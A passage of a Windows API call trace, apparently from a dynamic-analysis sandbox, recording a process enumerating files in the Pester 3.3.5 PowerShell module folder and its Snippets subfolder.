	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1
	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1
	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1
	[0161.796] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.797] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.797] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.797] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0161.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.800] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0161.800] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1
	[0161.800] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1
	[0161.800] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1
	[0161.801] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1
	[0161.801] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.801] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1
	[0161.801] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1
	[0161.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.801] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets") returned 64
	[0161.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0161.840] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.841] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.841] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.841] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.841] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.841] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.841] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.842] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.843] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.843] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.843] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.843] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.843] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0
	[0161.843] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0161.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.844] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0161.845] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0161.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
